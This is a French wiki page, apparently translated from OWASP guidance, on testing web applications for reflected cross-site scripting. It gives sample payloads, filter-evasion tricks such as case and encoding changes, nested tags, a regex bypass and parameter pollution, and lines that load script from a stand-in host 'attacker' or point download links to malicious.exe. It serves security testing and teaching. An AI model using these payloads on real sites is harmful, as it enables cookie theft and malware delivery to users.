dwndoc

Edit the page and hit Save. See syntax for Wiki syntax. Please edit the page only if you can improve it. If you want to test some things, learn to make your first steps on the playground.

# testing for reflected cross site scripting

Reflected Cross-Site Scripting (XSS) est un autre nom pour les XSS non-persistants, où l'attaque ne se chargent pas avec l'application web vulnérable mais est originaire du chargement  de l'URI affectée par  la victime. Dans cet article, nous allons voir quelques façons tester une application web pour ce type de vulnérabilité.

## Description

Les attaques reflected XSS  sont également sous le nom d'attaques XSS non-persistants et, parceque l'attaque de charge est conduite et exécutée via une seule requête et  réponse, ils sont aussi appelés  XSS de premier ordre ou de type 1. C'est le type le plus fréquent de nos jours, des attaques XSS trouvées.

Quand une application web est vulnérable à ce type d'attaque, elle accepte des entrées non validées envoyées à travers des requêtes au client. Le modus operandi commun de l'attaque comprend une étape de conception, dans laquelle l'attaquant crée et teste un URI affectée, une étape d'ingénierie sociale, dans laquelle il convainc ses victimes de charger cet URI sur leurs navigateurs, et l'exécution éventuelle du code incriminé - en utilisant les informations d'identification de la victime.

Communément le code de l'attaquant est écrit dans le langage Javascript, mais d'autres langages de scripts sont également utilisés, par exemple, ActionScript et VBScript.

Les pirates exploitent généralement ces vulnérabilités pour installer des enregistreurs de frappe, voler des cookies victime, effectuer le vol presse-papiers, et modifier le contenu de la page (par exemple, des liens de téléchargement).

L'une des questions importantes au sujet de l'exploitation des vulnérabilités XSS est le codage de caractères. Dans certains cas, le serveur Web ou l'application Web ne peuvent pas filtrer certains codages de caractères, par exemple, l'application Web peut filtrer « script> », mais pourrait ne pas filtrer %3escript%3c qui correspond simplement un autre encodage des étiquettes. Un bel outil pour tester les codages de caractères est CAL9000 d'OWASP.

## Test boîte noire

Un test boîte noire comprendra au moins trois phases:

* Détecter les vecteurs d'entrée. Le testeur doit déterminer les variables de l'application Web et comment les entrer dans l'application Web. Voir l'exemple ci-dessous.

* Analyser chaque vecteur d'entrée pour détecter les vulnérabilités potentielles. Pour détecter une faille XSS, le testeur utilise généralement des données d'entrée spécialement conçues pour chaque vecteur d'entrée. Ces données d'entrée sont généralement inoffensives, mais déclenchent des réponses à partir du navigateur Web qui esploite la vulnérabilité. Les données de test peuvent être générées en utilisant un fuzzer web ou manuellement. Voici quelques exemples de ces données d'entrée:

<code><script>alert(123)</script>
 “><script>alert(document.cookie)</script>
</code>

* Pour chaque vulnérabilité signalée dans la phase précédente, le testeur analysera le rapport et tentera de l'exploiter avec une attaque qui a un impact réaliste sur la sécurité de l'application Web.

**Exemple 1 Considérons par exemple un site qui a un accueil bienvenue "Bienvenue% username%" et un lien de téléchargement.**'

Le testeur doit envisager que chaque point d'entrée des données peut entraîner une attaque XSS. Pour l'analyser, le testeur va jouer avec les variables utilisateur et essayer de déclencher la vulnérabilité. Essayons de cliquer sur le lien ci-dessous et voyons ce qui se passe:

<code>http://example.com/index.php?user=<script>alert(123)</script>
</code>
Si aucune désinfection est appliquée, elle se traduira dans le menu contextuel suivant:

Cela indique qu'il y a une faille XSS et il semble que le testeur puisse exécuter le code de son choix dans le navigateur de n'importe qui si ce derbier clique sur le lien du testeur.

**Exemple 2 Essayons un autre code (lien):**

<code>http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a"); 
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script> 
</code>
Cela donne le comportement suivant.:

Cela entraînera l'utilisateur, en cliquant sur le lien fourni par le testeur, à télécharger le fichier malicious.exe depuis un site que l'attaquant contrôle.

### Contourner les filtres XSS

La plupart des applications web utilisent aujourd'hui une sorte de désinfection. Pourtant, certains restent vulnérables. Les s attaques reflected cross-site scripting sont empêchés  du côté du serveur, par désinfection,  ou du pare-feu d'application Web, ou du côté du client par des mécanismes de prévention qui sont incorporés dans les navigateurs web modernes.

Comme la plupart des clients ne mettent pas à jour leurs navigateurs ou, si même mis à jour, le filtre peut être désactivé, le testeur ne peut pas compter sur cela et il doit tester les vulnérabilités en supposant que les navigateurs Web ne saura pas empêcher l'attaque. Il est d'ailleurs important de noter que certains de ces filtres peuvent être contournées. <wrap info>Lors d'un test boîte grise ou boîte blanche, le testeur peut accéder au code source et analyser la procédure de désinfection côté serveur pour décider si et comment elle peut être contournée.</wrap>

L'application Web peut mettre en œuvre de façon élémentaire des listes noires à base de filtres qui tentent d'éviter les attaques XSS. Ce type de filtres permettent généralement d'éliminer ou de coder les expressions qui pourraient être dangereuses (par exemple, la balise <script>) dans les paramètres des requêtes.

**Exemple 3: Valeur de l'attribut Tag**

Étant donné que ces filtres sont basés sur une liste noire, ils ne peuvent pas bloquer tous les types d'expressions. En fait, il y a des cas dans lesquels un exploit XSS peut être effectué sans l'utilisation de balises <script> et même sans l'utilisation de caractères tels que "<> et / qui sont généralement filtrés. Par exemple, l'application Web peut utiliser la valeur  entrée par l'utilisateur pour remplir un attribut, comme indiqué dans le code suivant:

<code><input type="text" name="state" value="INPUT_FROM_USER">
</code>
Puis, un attaquant pourrait envoyer le code suivant:

<code>" onfocus="alert(document.cookie)
</code>

**Exemple 4: syntaxe ou encondiage différents**

Dans certains cas, il est possible que les filtres basés sur les signatures peuvent être tout simplement défaits par un obscurcissement de l'attaque. En général, vous pouvez le faire via l'insertion de variations inattendues dans la syntaxe ou dans l'encodage. Ces variations sont tolérées par les navigateurs lorsque le code est retourné, et elles pourront également être acceptées par le filtre. Quelques exemples:

<code>"><script >alert(document.cookie)</script >
 "><ScRiPt>alert(document.cookie)</ScRiPt>
 "%3cscript%3ealert(document.cookie)%3c/script%3e
</code>

**Exemple 5: Contournement de filtrage non récursif**

Parfois, la désinfection est appliquée une seule fois et elle n'est pas récursive. Dans ce cas, l'attaquant peut vaincre le filtre en envoyant une chaîne comme celle-ci:

<code><nowiki><scr<script>ipt>alert(document.cookie)</script></nowiki></code>
**Exemple 6: Inclusion de scripts externes**

Supposons maintenant que les développeurs du site mettent en œuvre le code suivant pour protéger l'entrée d'inclusion de script externe:

<code><?
   $re = "/<script[^>]+src/i";

if (preg_match($re, $_GET['var'])) 
   {
      echo "Filtered";
      return; 
   }
   echo "Welcome ".$_GET['var']." !";
 ?>
</code>

Dans ce scénario, l'expression régulière vérifie si <script [n'importe quel caractère à l'exclusion de : '>' ] src  est inséré. Ceci est utile pour filtrer des expressions comme

```
<nowiki><script src="http://attacker/xss.js"></script></nowiki>
```

qui est une attaque courante. Mais, dans ce cas, il est possible de contourner la désinfection du caractère `>` entre les attributs  script et src, comme ceci:

```
http://example/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRIPT> 
```

Cela permettra d'exploiter la vulnérabilité reflected cross site scripting montrée précédemment, par l'exécution du code javascript stockés sur le serveur Web de l'attaquant comme si elle était en provenance du site web de la victime, http://example/.

**Exemple 7: Pollution des paramètres HTTP (HPP)**

Une autre méthode pour contourner les filtres est la pollution des paramètres HTTP, cette technique a d'abord été présentée par Stefano di Paola et Luca Carettoni en 2009 lors de la conférence OWASP Pologne. Voir Testing for HTTP Parameter pollution pour plus d'informations. Cette technique consiste à diviser un vecteur d'attaque en plusieurs paramètres qui ont le même nom. La manipulation de la valeur de chaque paramètre dépend de la façon dont chaque technologie web analyse ces paramètres, ce type d'attaque n'est pas toujours possible. Si les environnement testées concatène les valeurs de tous les paramètres avec le même nom, l'attaquant pourrait utiliser cette technique dans le but de contourner les mécanismes de sécurité basés sur des modèles.

**Attaque normale:**

```
http://example/page.php?param=<script>[...]</script>
```

**Attaquer en utilisant PHP:**

```
http://example/page.php?param=<script&param=>[...]</&param=script>
```

**Résultat attendu**

Voir la fiche XSS Filter Evasion Cheat Sheet  pour une liste plus détaillée des techniques d'évasion filtre. Enfin, l'analyse des réponses peut devenir complexe. Une façon simple de le faire est d'utiliser le code qui apparaît dans une boîte de dialogue, comme dans notre exemple. Cela indique généralement qu'un attaquant pourrait exécuter du code JavaScript arbitraire de son choix dans les navigateurs des visiteurs.

## Test Boîte Grise

Les tests Boîte grise sont similaires aux tests boîte noire. Dans les tests boîte grise, le testeur a une connaissance partielle de l'application. Dans ce cas, les informations concernant les entrées des utilisateurs, les contrôles de validation d'entrée, et comment l'entrée de l'utilisateur est rendue peut être connu par le testeur. Si le code source est disponible (White Box), toutes les variables provenant des utilisateurs doivent être analysées. De plus, le testeur doit analyser les procédures de désinfection mises en œuvre pour déterminer si elles peuvent être contournées.

## Références

* [[xss_filter_evasion_cheat_sheet]]

## Livres

* **Joel Scambray, Mike Shema, Caleb Sima** - "Hacking Exposed Web Applications", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
  * **Dafydd Stuttard, Marcus Pinto** - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, ISBN 978-0-470-17077-9
  * **Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie** - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3

## Livres blancs

* **CERT** - Malicious HTML Tags Embedded in Client Web Requests http://www.cert.org/advisories/CA-2000-02.html
  * **Rsnake** - XSS Cheat Sheet http://ha.ckers.org/xss.html
  * **cgisecurity.com** - The Cross Site Scripting FAQ: http://www.cgisecurity.com/articles/xss-faq.shtml
  * **G.Ollmann** - HTML Code Injection and Cross-site scripting: http://www.technicalinfo.net/papers/CSS.html
  * **A. Calvo, D.Tiscornia** - alert('A javascritp agent'): http://corelabs.coresecurity.com/index.php?module=FrontEndMod&action=view&type=publication&name=alert%28A_javascritp_agent%29
  * **S. Frei, T. Dübendorfer, G. Ollmann, M. May** - Understanding the Web browser threat: http://www.techzoom.net/publications/insecurity-iceberg/index.en

## Outils

* **OWASP CAL9000**: CAL9000 est une collection d'outils de test de sécurité des applications Web qui complètent l'ensemble des fonctionnalités de proxy Web actuels et des scanners automatisés. Il est hébergé en tant que référence dans http://yehg.net/lab/pr0js/pentest/CAL9000/.
  * **PHP Charset Encoder (PCE)** - http://h4k.in/encoding [Miroir: http://yehg.net/e]: Cet outil permet de coder des textes arbitraires et à partir de 65 sortes de jeux de caractères. En outre, certaines fonctions de codage présentées par JavaScript sont fournies.
  * **HackVertor** - http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php: Propose des dizaines de multiples codages avancés flexible pour les attaques de manipulation de chaînes.
  * **WebScarab**: WebScarab est un cadre d'analyse des applications qui communiquent en utilisant le protocole HTTP et HTTPS.
  * **XSS-proxy** - http://xss-proxy.sourceforge.net/: XSS-proxy est un système avancé d'attaque Cross-Site-Scripting (XSS).
  * **ratproxy** - http://code.google.com/p/ratproxy/: Un semi-automate, et en grande partie outil d'audit de sécurité passif d'application Web, optimisé pour une détection précise et sensible, et l'annotation automatique, des problèmes potentiels et des modèles de conception touchant à la sécurité basés sur l'observation du trafic Web 2.0 initié par l'utilisateur dans des environnements complexes .
  * **Burp Proxy** - http://portswigger.net/proxy/: Burp Proxy est un serveur proxy interactif HTTP / S pour attaquer et tester des applications web.
  * **OWASP Zed Attack Proxy (ZAP)** – OWASP_Zed_Attack_Proxy_Project: ZAP est un outil facile à utiliser qui intègre des tests de pénétration pour trouver des vulnérabilités dans les applications web. Il est conçu pour être utilisé par des personnes ayant une vaste expérience de la sécurité et en tant que telle est idéal pour les développeurs et les testeurs fonctionnels qui sont nouveaux dans les tests de pénétration. ZAP fournit des scanners automatisés ainsi quun ensemble d'outils qui vous permettent de trouver les failles de sécurité manuellement

Please fill all the letters into the box to prove you're human. V Z T E C Please keep this field empty:

Edit summary

Note: By editing this page you agree to license your content under the following license: CC Attribution-Share Alike 4.0 International